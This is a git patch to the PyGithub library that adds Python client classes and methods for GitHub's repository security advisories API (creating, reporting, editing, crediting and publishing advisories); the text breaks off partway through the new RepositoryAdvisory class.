From daf62bd4610ba4c43ae8ced66ced3ff722c30cf0 Mon Sep 17 00:00:00 2001 From: Jonathan Leitschuh Date: Fri, 9 Jun 2023 13:42:18 -0400 Subject: [PATCH] Add support for new RepositoryAdvisories API :tada: (#2483) --- github/CWE.py | 56 ++ github/GithubObject.py | 13 + github/GithubObject.pyi | 13 +- github/Repository.py | 242 +++++++- github/Repository.pyi | 30 +- github/RepositoryAdvisory.py | 558 ++++++++++++++++++ github/RepositoryAdvisoryCredit.py | 111 ++++ github/RepositoryAdvisoryCreditDetailed.py | 70 +++ github/RepositoryAdvisoryVulnerability.py | 187 ++++++ .../RepositoryAdvisoryVulnerabilityPackage.py | 60 ++ scripts/add_attribute.py | 26 +- scripts/fix_headers.py | 24 +- tests/ReplayData/RepositoryAdvisory.setUp.txt | 55 ++ ...epositoryAdvisory.testAddVulnerability.txt | 44 ++ ...yAdvisory.testCreateRepositoryAdvisory.txt | 22 + .../RepositoryAdvisory.testGetAdvisories.txt | 11 + .../RepositoryAdvisory.testOfferCredit.txt | 11 + .../RepositoryAdvisory.testOfferCredits.txt | 22 + .../RepositoryAdvisory.testRemoveCredit.txt | 11 + ...dvisory.testRepositoryWithNoAdvisories.txt | 33 ++ ...yAdvisory.testUpdateRepositoryAdvisory.txt | 33 ++ ...ateSingleFieldDoesNotRemoveOtherFields.txt | 33 ++ tests/RepositoryAdvisory.py | 358 +++++++++++ 23 files changed, 2002 insertions(+), 21 deletions(-) create mode 100644 github/CWE.py create mode 100644 github/RepositoryAdvisory.py create mode 100644 github/RepositoryAdvisoryCredit.py create mode 100644 github/RepositoryAdvisoryCreditDetailed.py create mode 100644 github/RepositoryAdvisoryVulnerability.py create mode 100644 github/RepositoryAdvisoryVulnerabilityPackage.py create mode 100644 tests/ReplayData/RepositoryAdvisory.setUp.txt create mode 100644 tests/ReplayData/RepositoryAdvisory.testAddVulnerability.txt create mode 100644 tests/ReplayData/RepositoryAdvisory.testCreateRepositoryAdvisory.txt create mode 100644 tests/ReplayData/RepositoryAdvisory.testGetAdvisories.txt create mode 100644 tests/ReplayData/RepositoryAdvisory.testOfferCredit.txt create mode 100644 tests/ReplayData/RepositoryAdvisory.testOfferCredits.txt create mode 100644 tests/ReplayData/RepositoryAdvisory.testRemoveCredit.txt create mode 100644 tests/ReplayData/RepositoryAdvisory.testRepositoryWithNoAdvisories.txt create mode 100644 tests/ReplayData/RepositoryAdvisory.testUpdateRepositoryAdvisory.txt create mode 100644 tests/ReplayData/RepositoryAdvisory.testUpdateSingleFieldDoesNotRemoveOtherFields.txt create mode 100644 tests/RepositoryAdvisory.py diff --git a/github/CWE.py b/github/CWE.py new file mode 100644 index 00000000..c6518acf --- /dev/null +++ b/github/CWE.py @@ -0,0 +1,56 @@ +############################ Copyrights and license ############################ +# # +# Copyright 2023 Jonathan Leitschuh # +# # +# This file is part of PyGithub. # +# http://pygithub.readthedocs.io/ # +# # +# PyGithub is free software: you can redistribute it and/or modify it under # +# the terms of the GNU Lesser General Public License as published by the Free # +# Software Foundation, either version 3 of the License, or (at your option) # +# any later version. # +# # +# PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # +# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # +# FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # +# details. # +# # +# You should have received a copy of the GNU Lesser General Public License # +# along with PyGithub. If not, see . # +# # +################################################################################ + +import github.GithubObject + + +class CWE(github.GithubObject.CompletableGithubObject): + """ + This class represents a CWE. + The reference can be found here https://docs.github.com/en/rest/security-advisories/repository-advisories + """ + + @property + def cwe_id(self) -> str: + """ + :type: string + """ + return self._cwe_id.value + + @property + def name(self) -> str: + """ + :type: string + """ + return self._name.value + + # noinspection PyPep8Naming + def _initAttributes(self): + self._cwe_id = github.GithubObject.NotSet + self._name = github.GithubObject.NotSet + + # noinspection PyPep8Naming + def _useAttributes(self, attributes): + if "cwe_id" in attributes: # pragma no branch + self._cwe_id = self._makeStringAttribute(attributes["cwe_id"]) + if "name" in attributes: # pragma no branch + self._name = self._makeStringAttribute(attributes["name"]) diff --git a/github/GithubObject.py b/github/GithubObject.py index ae8ea0d1..3ad6f867 100644 --- a/github/GithubObject.py +++ b/github/GithubObject.py @@ -10,7 +10,15 @@ # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2016 Sam Corbett # +# Copyright 2018 Shubham Singh <41840111+singh811@users.noreply.github.com> # +# Copyright 2018 h.shi <10385628+AnYeMoWang@users.noreply.github.com> # # Copyright 2018 sfdye # +# Copyright 2019 Adam Baratz # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2021 Steve Kowalik # +# Copyright 2023 Jonathan Leitschuh # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -31,6 +39,7 @@ ################################################################################ import datetime +import typing from operator import itemgetter from . import Consts, GithubException @@ -45,6 +54,10 @@ class _NotSetType: NotSet = _NotSetType() +T = typing.TypeVar("T") + +OptionallySet = typing.Union[T, _NotSetType] + class _ValuedAttribute: def __init__(self, value): diff --git a/github/GithubObject.pyi b/github/GithubObject.pyi index 7dc0f27b..cada21e8 100644 --- a/github/GithubObject.pyi +++ b/github/GithubObject.pyi @@ -1,4 +1,4 @@ -from typing import Any, Callable, Dict, List, Optional, Type, Union +from typing import Any, Callable, Dict, List, Optional, Type, Union, TypeVar from github.Commit import Commit from github.GistFile import GistFile @@ -96,6 +96,7 @@ class NonCompletableGithubObject(GithubObject): def _completeIfNeeded(self) -> None: ... class CompletableGithubObject(GithubObject): + _requester: Requester def __eq__(self, other: Any) -> bool: ... def __init__( self, @@ -120,8 +121,14 @@ class _BadAttribute: class _NotSetType: def __repr__(self) -> str: ... + @property + def value(self) -> Any: ... + +NotSet: _NotSetType + +T = TypeVar("T") + +OptionallySet = Union[T, _NotSetType] class _ValuedAttribute: def __init__(self, value: Any) -> None: ... - -NotSet: _NotSetType diff --git a/github/Repository.py b/github/Repository.py index e52948ea..7baef948 100644 --- a/github/Repository.py +++ b/github/Repository.py @@ -27,7 +27,7 @@ # Copyright 2016 Dustin Spicuzza # # Copyright 2016 Enix Yu # # Copyright 2016 Jannis Gebauer # -# Copyright 2016 Per Øyvind Karlsen # +# Copyright 2016 Per Øyvind Karlsen # # Copyright 2016 Peter Buckley # # Copyright 2016 Sylvus # # Copyright 2016 fukatani # @@ -39,34 +39,69 @@ # Copyright 2017 Jannis Gebauer # # Copyright 2017 Jason White # # Copyright 2017 Jimmy Zelinskie # -# Copyright 2017 Nhomar Hernández [Vauxoo] # +# Copyright 2017 Nhomar Hernández [Vauxoo] # # Copyright 2017 Simon # +# Copyright 2018 Aaron L. Levine # +# Copyright 2018 AetherDeity # +# Copyright 2018 Alice GIRARD # # Copyright 2018 Andrew Smith # +# Copyright 2018 Benoit Latinier # # Copyright 2018 Brian Torres-Gil # # Copyright 2018 Hayden Fuss # # Copyright 2018 Ilya Konstantinov # # Copyright 2018 Jacopo Notarstefano # # Copyright 2018 John Hui # +# Copyright 2018 Justin Kufro # # Copyright 2018 Mateusz Loskot # # Copyright 2018 Michael Behrisch # # Copyright 2018 Nicholas Buse # +# Copyright 2018 Philip May # # Copyright 2018 Raihaan <31362124+res0nance@users.noreply.github.com> # # Copyright 2018 Shinichi TAMURA # # Copyright 2018 Steve Kowalik # +# Copyright 2018 Vinay Hegde # # Copyright 2018 Wan Liuyang # # Copyright 2018 Will Yardley # +# Copyright 2018 Yossarian King # # Copyright 2018 per1234 # # Copyright 2018 sechastain # # Copyright 2018 sfdye # -# Copyright 2018 Vinay Hegde # -# Copyright 2018 Justin Kufro # -# Copyright 2018 Ivan Minno # -# Copyright 2018 Zilei Gu # -# Copyright 2018 Yves Zumbach # -# Copyright 2018 Leying Chen # +# Copyright 2019 Adam Baratz # +# Copyright 2019 Alex # +# Copyright 2019 Kevin LaFlamme # +# Copyright 2019 Olof-Joachim Frahm (欧雅福) # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Tim Gates # +# Copyright 2019 Wan Liuyang # +# Copyright 2019 Will Li # +# Copyright 2020 Alice GIRARD # +# Copyright 2020 Anuj Bansal # +# Copyright 2020 Chris de Graaf # +# Copyright 2020 Dhruv Manilawala # +# Copyright 2020 Dominic Davis-Foster # +# Copyright 2020 Florent Clarret # +# Copyright 2020 Glenn McDonald # +# Copyright 2020 Huw Jones # +# Copyright 2020 Mark Bromell # +# Copyright 2020 Max Wittig # # Copyright 2020 Pascal Hofmann # -# Copyright 2022 Aleksei Fedotov # +# Copyright 2020 Steve Kowalik # +# Copyright 2020 Tim Gates # +# Copyright 2020 Victor Zeng # +# Copyright 2020 ton-katsu # +# Copyright 2021 Chris Keating # +# Copyright 2021 Floyd Hightower # +# Copyright 2021 Mark Walker # +# Copyright 2021 Steve Kowalik # +# Copyright 2021 Tanner <51724788+lightningboltemoji@users.noreply.github.com> # +# Copyright 2021 xmo-odoo # +# Copyright 2022 Aleksei Fedotov # # Copyright 2022 Eric Nieuwland # +# Copyright 2022 Ibrahim Hussaini # +# Copyright 2022 KimSia Sim <245021+simkimsia@users.noreply.github.com> # +# Copyright 2022 Marco Köpcke # +# Copyright 2023 Jonathan Leitschuh # +# Copyright 2023 Sol Redfern <59831933+Tsuesun@users.noreply.github.com> # # Copyright 2023 Mikhail f. Shiryaev # # # # This file is part of PyGithub. # @@ -89,6 +124,7 @@ import collections import datetime +import typing import urllib.parse from base64 import b64encode @@ -132,6 +168,9 @@ import github.PublicKey import github.PullRequest import github.Referrer import github.Repository +import github.RepositoryAdvisory +import github.RepositoryAdvisoryCredit +import github.RepositoryAdvisoryVulnerability import github.RepositoryKey import github.RepositoryPreferences import github.SelfHostedActionsRunner @@ -1472,6 +1511,162 @@ class Repository(github.GithubObject.CompletableGithubObject): self._requester, headers, data, completed=True ) + def create_repository_advisory( + self, + summary: str, + description: str, + severity_or_cvss_vector_string: str, + cve_id: typing.Optional[str] = None, + vulnerabilities: typing.Optional[ + typing.Iterable[ + github.RepositoryAdvisoryVulnerability.AdvisoryVulnerability + ] + ] = None, + cwe_ids: typing.Optional[typing.Iterable[str]] = None, + credits: typing.Optional[ + typing.Iterable[github.RepositoryAdvisoryCredit.RepositoryAdvisoryCredit] + ] = None, + ) -> github.RepositoryAdvisory.RepositoryAdvisory: + """ + :calls: `POST /repos/{owner}/{repo}/security-advisories `_ + :param summary: string + :param description: string + :param severity_or_cvss_vector_string: string + :param cve_id: string + :param vulnerabilities: iterable of :class:`github.RepositoryAdvisoryVulnerability.AdvisoryVulnerability` + :param cwe_ids: iterable of string + :param credits: iterable of :class:`github.RepositoryAdvisoryCredit.RepositoryAdvisoryCredit` + :rtype: :class:`github.RepositoryAdvisory.RepositoryAdvisory` + """ + return self.__create_repository_advisory( + summary=summary, + description=description, + severity_or_cvss_vector_string=severity_or_cvss_vector_string, + cve_id=cve_id, + vulnerabilities=vulnerabilities, + cwe_ids=cwe_ids, + credits=credits, + private_vulnerability_reporting=False, + ) + + def report_security_vulnerability( + self, + summary: str, + description: str, + severity_or_cvss_vector_string: str, + cve_id: typing.Optional[str] = None, + vulnerabilities: typing.Optional[ + typing.Iterable[ + github.RepositoryAdvisoryVulnerability.AdvisoryVulnerability + ] + ] = None, + cwe_ids: typing.Optional[typing.Iterable[str]] = None, + credits: typing.Optional[ + typing.Iterable[github.RepositoryAdvisoryCredit.RepositoryAdvisoryCredit] + ] = None, + ) -> github.RepositoryAdvisory.RepositoryAdvisory: + """ + :calls: `POST /repos/{owner}/{repo}/security-advisories/reports `_ + :param summary: string + :param description: string + :param severity_or_cvss_vector_string: string + :param cve_id: string + :param vulnerabilities: iterable of :class:`github.RepositoryAdvisoryVulnerability.AdvisoryVulnerability` + :param cwe_ids: iterable of string + :param credits: iterable of :class:`github.RepositoryAdvisoryCredit.RepositoryAdvisoryCredit` + :rtype: :class:`github.RepositoryAdvisory.RepositoryAdvisory` + """ + return self.__create_repository_advisory( + summary=summary, + description=description, + severity_or_cvss_vector_string=severity_or_cvss_vector_string, + cve_id=cve_id, + vulnerabilities=vulnerabilities, + cwe_ids=cwe_ids, + credits=credits, + private_vulnerability_reporting=True, + ) + + def __create_repository_advisory( + self, + summary: str, + description: str, + severity_or_cvss_vector_string: str, + cve_id: typing.Optional[str], + vulnerabilities: typing.Optional[ + typing.Iterable[ + github.RepositoryAdvisoryVulnerability.AdvisoryVulnerability + ] + ], + cwe_ids: typing.Optional[typing.Iterable[str]], + credits: typing.Optional[ + typing.Iterable[github.RepositoryAdvisoryCredit.RepositoryAdvisoryCredit] + ], + private_vulnerability_reporting: bool, + ) -> github.RepositoryAdvisory.RepositoryAdvisory: + if vulnerabilities is None: + vulnerabilities = [] + if cwe_ids is None: + cwe_ids = [] + assert isinstance(summary, str), summary + assert isinstance(description, str), description + assert isinstance( + severity_or_cvss_vector_string, str + ), severity_or_cvss_vector_string + assert isinstance(cve_id, (str, type(None))), cve_id + assert isinstance(vulnerabilities, typing.Iterable), vulnerabilities + for vulnerability in vulnerabilities: + # noinspection PyProtectedMember + github.RepositoryAdvisoryVulnerability.RepositoryAdvisoryVulnerability._validate_vulnerability( + vulnerability + ) + assert isinstance(cwe_ids, typing.Iterable), cwe_ids + assert all(isinstance(element, str) for element in cwe_ids), cwe_ids + assert isinstance(credits, (typing.Iterable, type(None))), credits + if credits is not None: + for credit in credits: + # noinspection PyProtectedMember + github.RepositoryAdvisoryCredit.RepositoryAdvisoryCredit._validate_credit( + credit + ) + # noinspection PyProtectedMember + post_parameters = { + "summary": summary, + "description": description, + "vulnerabilities": [ + github.RepositoryAdvisoryVulnerability.RepositoryAdvisoryVulnerability._to_github_dict( + vulnerability + ) + for vulnerability in vulnerabilities + ], + "cwe_ids": list(cwe_ids), + } + if cve_id is not None: + post_parameters["cve_id"] = cve_id + if credits is not None: + # noinspection PyProtectedMember + post_parameters["credits"] = [ + github.RepositoryAdvisoryCredit.RepositoryAdvisoryCredit._to_github_dict( + credit + ) + for credit in credits + ] + if severity_or_cvss_vector_string.startswith("CVSS:"): + post_parameters["cvss_vector_string"] = severity_or_cvss_vector_string + else: + post_parameters["severity"] = severity_or_cvss_vector_string + if private_vulnerability_reporting: + headers, data = self._requester.requestJsonAndCheck( + "POST", f"{self.url}/security-advisories/reports", input=post_parameters + ) + else: + headers, data = self._requester.requestJsonAndCheck( + "POST", f"{self.url}/security-advisories", input=post_parameters + ) + return github.RepositoryAdvisory.RepositoryAdvisory( + self._requester, headers, data, completed=True + ) + def create_repository_dispatch( self, event_type, client_payload=github.GithubObject.NotSet ): @@ -2228,6 +2423,35 @@ class Repository(github.GithubObject.CompletableGithubObject): ), } + def get_repository_advisories( + self, + ) -> "github.PaginatedList.PaginatedList[github.RepositoryAdvisory.RepositoryAdvisory]": + """ + :calls: `GET /repos/{owner}/{repo}/security-advisories `_ + :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.RepositoryAdvisory.RepositoryAdvisory` + """ + return github.PaginatedList.PaginatedList( + github.RepositoryAdvisory.RepositoryAdvisory, + self._requester, + f"{self.url}/security-advisories", + None, + ) + + def get_repository_advisory( + self, ghsa: str + ) -> github.RepositoryAdvisory.RepositoryAdvisory: + """ + :calls: `GET /repos/{owner}/{repo}/security-advisories/{ghsa} `_ + :param ghsa: string + :rtype: :class:`github.RepositoryAdvisory.RepositoryAdvisory` + """ + headers, data = self._requester.requestJsonAndCheck( + "GET", f"{self.url}/security-advisories/{ghsa}" + ) + return github.RepositoryAdvisory.RepositoryAdvisory( + self._requester, headers, data, completed=True + ) + def update_file( self, path, diff --git a/github/Repository.pyi b/github/Repository.pyi index dd3f9733..3d1fbf0c 100644 --- a/github/Repository.pyi +++ b/github/Repository.pyi @@ -1,5 +1,5 @@ from datetime import date, datetime -from typing import Any, Dict, List, Optional, Union, overload +from typing import Any, Dict, List, Optional, Union, overload, Iterable from github.Artifact import Artifact from github.AuthenticatedUser import AuthenticatedUser @@ -43,6 +43,12 @@ from github.PublicKey import PublicKey from github.PullRequest import PullRequest from github.PullRequestComment import PullRequestComment from github.Referrer import Referrer +from github.RepositoryAdvisory import RepositoryAdvisory +from github.RepositoryAdvisoryCredit import RepositoryAdvisoryCredit +from github.RepositoryAdvisoryVulnerability import ( + RepositoryAdvisoryVulnerability, + AdvisoryVulnerability, +) from github.RepositoryKey import RepositoryKey from github.RepositoryPreferences import RepositoryPreferences from github.SelfHostedActionsRunner import SelfHostedActionsRunner @@ -134,6 +140,8 @@ class Repository(CompletableGithubObject): transient_environment: Union[bool, _NotSetType] = ..., production_environment: Union[bool, _NotSetType] = ..., ) -> Deployment: ... + def get_repository_advisories(self) -> PaginatedList[RepositoryAdvisory]: ... + def get_repository_advisory(self, ghsa: str) -> RepositoryAdvisory: ... def create_file( self, path: str, @@ -242,6 +250,26 @@ class Repository(CompletableGithubObject): maintainer_can_modify: _NotSetType, issue: Issue, ) -> PullRequest: ... + def create_repository_advisory( + self, + summary: str, + description: str, + severity_or_cvss_vector_string: str, + cve_id: Optional[str] = ..., + vulnerabilities: Optional[Iterable[AdvisoryVulnerability]] = ..., + cwe_ids: Optional[Iterable[str]] = ..., + credits: Optional[Iterable[RepositoryAdvisoryCredit]] = ..., + ) -> RepositoryAdvisory: ... + def report_security_vulnerability( + self, + summary: str, + description: str, + severity_or_cvss_vector_string: str, + cve_id: Optional[str] = ..., + vulnerabilities: Optional[Iterable[AdvisoryVulnerability]] = ..., + cwe_ids: Optional[Iterable[str]] = ..., + credits: Optional[Iterable[RepositoryAdvisoryCredit]] = ..., + ) -> RepositoryAdvisory: ... def create_repository_dispatch( self, event_type: str, client_payload: Union[Dict[str, Any], _NotSetType] = ... ) -> bool: ... diff --git a/github/RepositoryAdvisory.py b/github/RepositoryAdvisory.py new file mode 100644 index 00000000..84a563b9 --- /dev/null +++ b/github/RepositoryAdvisory.py @@ -0,0 +1,558 @@ +############################ Copyrights and license ############################ +# # +# Copyright 2023 Jonathan Leitschuh # +# # +# This file is part of PyGithub. # +# http://pygithub.readthedocs.io/ # +# # +# PyGithub is free software: you can redistribute it and/or modify it under # +# the terms of the GNU Lesser General Public License as published by the Free # +# Software Foundation, either version 3 of the License, or (at your option) # +# any later version. # +# # +# PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # +# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # +# FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # +# details. # +# # +# You should have received a copy of the GNU Lesser General Public License # +# along with PyGithub. If not, see . # +# # +################################################################################ + +import datetime +import typing + +import github.GithubObject +import github.NamedUser +from github.CWE import CWE +from github.RepositoryAdvisoryCredit import Credit, RepositoryAdvisoryCredit +from github.RepositoryAdvisoryCreditDetailed import RepositoryAdvisoryCreditDetailed +from github.RepositoryAdvisoryVulnerability import ( + AdvisoryVulnerability, + RepositoryAdvisoryVulnerability, +) +from github.Requester import Requester + + +class RepositoryAdvisory(github.GithubObject.NonCompletableGithubObject): + """ + This class represents a RepositoryAdvisory. + The reference can be found here https://docs.github.com/en/rest/security-advisories/repository-advisories + """ + + _requester: Requester + + def __repr__(self): + return self.get__repr__({"ghsa_id": self.ghsa_id, "summary": self.summary}) + + @property + def author(self) -> "github.NamedUser.NamedUser": + """ + :type: :class:`github.NamedUser.NamedUser` + """ + return self._author.value + + @property + def closed_at(self) -> datetime.datetime: + """ + :type: datetime.datetime + """ + return self._closed_at.value + + @property + def created_at(self) -> datetime.datetime: + """ + :type: datetime.datetime + """ + return self._created_at.value + + @property + def credits( + self, + ) -> typing.List[RepositoryAdvisoryCredit]: + """ + :type: list of :class:`github.RepositoryAdvisoryCredit.RepositoryAdvisoryCredit` + """ + return self._credits.value + + @property + def credits_detailed( + self, + ) -> typing.List[RepositoryAdvisoryCreditDetailed]: + """ + :type: list of :class:`github.RepositoryAdvisoryCreditDetailed.RepositoryAdvisoryCreditDetailed` + """ + return self._credits_detailed.value + + @property + def cve_id(self) -> str: + """ + :type: string + """ + return self._cve_id.value + + @property + def cwe_ids(self) -> typing.List[str]: + """ + :type: list of string + """ + return self._cwe_ids.value + + @property + def cwes(self) -> typing.List[CWE]: + """ + :type: list of :class:`github.CWE.CWE` + """ + return self._cwes.value + + @property + def description(self) -> str: + """ + :type: string + """ + return self._description.value + + @property + def ghsa_id(self) -> str: + """ + :type: string + """ + return self._ghsa_id.value + + @property + def html_url(self) -> str: + """ + :type: string + """ + return self._html_url.value + + @property + def published_at(self) -> datetime.datetime: + """ + :type: datetime.datetime + """ + return self._published_at.value + + @property + def severity(self) -> str: + """ + :type: string + """ + return self._severity.value + + @property + def state(self) -> str: + """ + :type: string + """ + return self._state.value + + @property + def summary(self) -> str: + """ + :type: string + """ + return self._summary.value + + @property + def updated_at(self) -> datetime.datetime: + """ + :type: datetime.datetime + """ + return self._updated_at.value + + @property + def url(self) -> str: + """ + :type: string + """ + return self._url.value + + @property + def vulnerabilities( + self, + ) -> typing.List[RepositoryAdvisoryVulnerability]: + """ + :type: list of :class:`github.RepositoryAdvisoryVulnerability.RepositoryAdvisoryVulnerability` + """ + return self._vulnerabilities.value + + @property + def withdrawn_at(self) -> datetime.datetime: + """ + :type: datetime.datetime + """ + return self._withdrawn_at.value + + def add_vulnerability( + self, + ecosystem: str, + package_name: typing.Optional[str] = None, + vulnerable_version_range: typing.Optional[str] = None, + patched_versions: typing.Optional[str] = None, + vulnerable_functions: typing.Optional[typing.List[str]] = None, + ): + """ + :calls: `PATCH /repos/{owner}/{repo}/security-advisories/:advisory_id `\ + :param ecosystem: string + :param package_name: string + :param vulnerable_version_range: string + :param patched_versions: string + :param vulnerable_functions: list of string + """ + return self.add_vulnerabilities( + [ + { + "package": { + "ecosystem": ecosystem, + "name": package_name, + }, + "vulnerable_version_range": vulnerable_version_range, + "patched_versions": patched_versions, + "vulnerable_functions": vulnerable_functions, + } + ] + ) + + def add_vulnerabilities( + self, vulnerabilities: typing.Iterable[AdvisoryVulnerability] + ): + """ + :calls: `PATCH /repos/{owner}/{repo}/security-advisories/:advisory_id ` + :param vulnerabilities: iterable of :class:`github.RepositoryAdvisoryVulnerability.AdvisoryVulnerability` + """ + assert isinstance(vulnerabilities, typing.Iterable), vulnerabilities + for vulnerability in vulnerabilities: + # noinspection PyProtectedMember + github.RepositoryAdvisoryVulnerability.RepositoryAdvisoryVulnerability._validate_vulnerability( + vulnerability + ) + # noinspection PyProtectedMember + post_parameters = { + "vulnerabilities": [ + github.RepositoryAdvisoryVulnerability.RepositoryAdvisoryVulnerability._to_github_dict( + vulnerability + ) + for vulnerability in (self.vulnerabilities + list(vulnerabilities)) + ] + } + headers, data = self._requester.requestJsonAndCheck( + "PATCH", + self.url, + input=post_parameters, + ) + self._useAttributes(data) + + def offer_credit( + self, + login_or_user: typing.Union[str, "github.NamedUser.NamedUser"], + credit_type: str, + ): + """ + :calls: `PATCH /repos/{owner}/{repo}/security-advisories/:advisory_id ` + Offers credit to a user for a vulnerability in a repository. + Unless you are giving credit to yourself, the user having credit offered will need to explicitly accept the credit. + :param login_or_user: string username or :class:`github.NamedUser.NamedUser` + :param credit_type: string + """ + self.offer_credits([{"login": login_or_user, "type": credit_type}]) + + def offer_credits( + self, + credited: typing.Iterable["Credit"], + ): + """ + :calls: `PATCH /repos/{owner}/{repo}/security-advisories/:advisory_id ` + Offers credit to a list of users for a vulnerability in a repository. + Unless you are giving credit to yourself, the user having credit offered will need to explicitly accept the credit. + :param credited: iterable of dict with keys "login" and "type" + """ + assert isinstance(credited, typing.Iterable), credited + for credit in credited: + # noinspection PyProtectedMember + RepositoryAdvisoryCredit._validate_credit(credit) + # noinspection PyProtectedMember + patch_parameters = { + "credits": [ + RepositoryAdvisoryCredit._to_github_dict(credit) + for credit in (self.credits + list(credited)) + ] + } + headers, data = self._requester.requestJsonAndCheck( + "PATCH", + self.url, + input=patch_parameters, + ) + self._useAttributes(data) + + def revoke_credit( + self, login_or_user: typing.Union[str, "github.NamedUser.NamedUser"] + ): + """ + :calls: `PATCH /repos/{owner}/{repo}/security-advisories/:advisory_id `_ + :param login_or_user: string username or :class:`github.NamedUser.NamedUser` + """ + assert isinstance( + login_or_user, (str, github.NamedUser.NamedUser) + ), login_or_user + if isinstance(login_or_user, github.NamedUser.NamedUser): + login_or_user = login_or_user.login + patch_parameters = { + "credits": [ + dict(login=credit.login, type=credit.type) + for credit in self.credits + if credit.login != login_or_user + ] + } + headers, data = self._requester.requestJsonAndCheck( + "PATCH", + self.url, + input=patch_parameters, + ) + self._useAttributes(data) + + def clear_credits(self): + """ + :calls: `PATCH /repos/{owner}/{repo}/security-advisories/:advisory_id `_ + """ + patch_parameters = {"credits": []} + headers, data = self._requester.requestJsonAndCheck( + "PATCH", + self.url, + input=patch_parameters, + ) + self._useAttributes(data) + + def edit( + self, + summary: github.GithubObject.OptionallySet[str] = github.GithubObject.NotSet, + description: github.GithubObject.OptionallySet[ + str + ] = github.GithubObject.NotSet, + severity_or_cvss_vector_string: github.GithubObject.OptionallySet[ + str + ] = github.GithubObject.NotSet, + cve_id: github.GithubObject.OptionallySet[str] = github.GithubObject.NotSet, + vulnerabilities: github.GithubObject.OptionallySet[ + typing.Iterable[AdvisoryVulnerability] + ] = github.GithubObject.NotSet, + cwe_ids: github.GithubObject.OptionallySet[ + typing.Iterable[str] + ] = github.GithubObject.NotSet, + credits: github.GithubObject.OptionallySet[ + typing.Iterable[Credit] + ] = github.GithubObject.NotSet, + state: github.GithubObject.OptionallySet[str] = github.GithubObject.NotSet, + ) -> "RepositoryAdvisory": + """ + :calls: `PATCH /repos/{owner}/{repo}/security-advisories/:advisory_id `_ + :param summary: string + :param description: string + :param severity_or_cvss_vector_string: string + :param cve_id: string + :param vulnerabilities: iterable of :class:`github.RepositoryAdvisoryVulnerability.AdvisoryVulnerability` + :param cwe_ids: iterable of string + :param credits: iterable of :class:`github.RepositoryAdvisoryCredit.Credit` + :param state: string + :rtype: :class:`github.RepositoryAdvisory.RepositoryAdvisory` + """ + assert summary is github.GithubObject.NotSet or isinstance( + summary, str + ), summary + assert description is github.GithubObject.NotSet or isinstance( + description, str + ), description + assert ( + severity_or_cvss_vector_string is github.GithubObject.NotSet + or isinstance(severity_or_cvss_vector_string, str) + ), (severity_or_cvss_vector_string) + assert cve_id is github.GithubObject.NotSet or isinstance(cve_id, str), cve_id + assert vulnerabilities is github.GithubObject.NotSet or isinstance( + vulnerabilities, typing.Iterable + ), vulnerabilities + if isinstance(vulnerabilities, typing.Iterable): + for vulnerability in vulnerabilities: + # noinspection PyProtectedMember + github.RepositoryAdvisoryVulnerability.RepositoryAdvisoryVulnerability._validate_vulnerability( + vulnerability + ) + assert cwe_ids is github.GithubObject.NotSet or ( + isinstance(cwe_ids, typing.Iterable) + and all(isinstance(element, str) for element in cwe_ids) + ), cwe_ids + if isinstance(credits, typing.Iterable): + for credit in credits: + # noinspection PyProtectedMember + github.RepositoryAdvisoryCredit.RepositoryAdvisoryCredit._validate_credit( + credit + ) + assert state is github.GithubObject.NotSet or isinstance(state, str), state + patch_parameters: typing.Dict[str, typing.Any] = dict() + if summary is not github.GithubObject.NotSet: + patch_parameters["summary"] = summary + if description is not github.GithubObject.NotSet: + patch_parameters["description"] = description + if isinstance(severity_or_cvss_vector_string, str): + if severity_or_cvss_vector_string.startswith("CVSS:"): + patch_parameters["cvss_vector_string"] = severity_or_cvss_vector_string + else: + patch_parameters["severity"] = severity_or_cvss_vector_string + if cve_id is not github.GithubObject.NotSet: + patch_parameters["cve_id"] = cve_id + if isinstance(vulnerabilities, typing.Iterable): + # noinspection PyProtectedMember + patch_parameters["vulnerabilities"] = [ + github.RepositoryAdvisoryVulnerability.RepositoryAdvisoryVulnerability._to_github_dict( + vulnerability + ) + for vulnerability in vulnerabilities + ] + if isinstance(cwe_ids, typing.Iterable): + patch_parameters["cwe_ids"] = list(cwe_ids) + if isinstance(credits, typing.Iterable): + # noinspection PyProtectedMember + patch_parameters["credits"] = [ + github.RepositoryAdvisoryCredit.RepositoryAdvisoryCredit._to_github_dict( + credit + ) + for credit in credits + ] + if state is not github.GithubObject.NotSet: + patch_parameters["state"] = state + headers, data = self._requester.requestJsonAndCheck( + "PATCH", + self.url, + input=patch_parameters, + ) + self._useAttributes(data) + return self + + def accept_report(self): + """ + :calls: `PATCH /repos/{owner}/{repo}/security-advisories/:advisory_id ` + Accepts the advisory reported from an external reporter via private vulnerability reporting. + """ + patch_parameters = {"state": "draft"} + headers, data = self._requester.requestJsonAndCheck( + "PATCH", + self.url, + input=patch_parameters, + ) + self._useAttributes(data) + + def publish(self): + """ + :calls: `PATCH /repos/{owner}/{repo}/security-advisories/:advisory_id ` + Publishes the advisory. + """ + patch_parameters = {"state": "published"} + headers, data = self._requester.requestJsonAndCheck( + "PATCH", + self.url, + input=patch_parameters, + ) + self._useAttributes(data) + + def close(self): + """ + :calls: `PATCH /repos/{owner}/{repo}/security-advisories/:advisory_id ` + Closes the advisory. + """ + patch_parameters = {"state": "closed"} + headers, data = self._requester.requestJsonAndCheck( + "PATCH", + self.url, + input=patch_parameters, + ) + self._useAttributes(data) + + # noinspection DuplicatedCode + # noinspection PyPep8Naming + def _initAttributes(self): + self._author = github.GithubObject.NotSet + self._closed_at = github.GithubObject.NotSet + self._created_at = github.GithubObject.NotSet + self._credits = github.GithubObject.NotSet + self._credits_detailed = github.GithubObject.NotSet + self._cve_id = github.GithubObject.NotSet + self._cwe_ids = github.GithubObject.NotSet + self._cwes = github.GithubObject.NotSet + self._description = github.GithubObject.NotSet + self._ghsa_id = github.GithubObject.NotSet + self._html_url = github.GithubObject.NotSet + self._published_at = github.GithubObject.NotSet + self._severity = 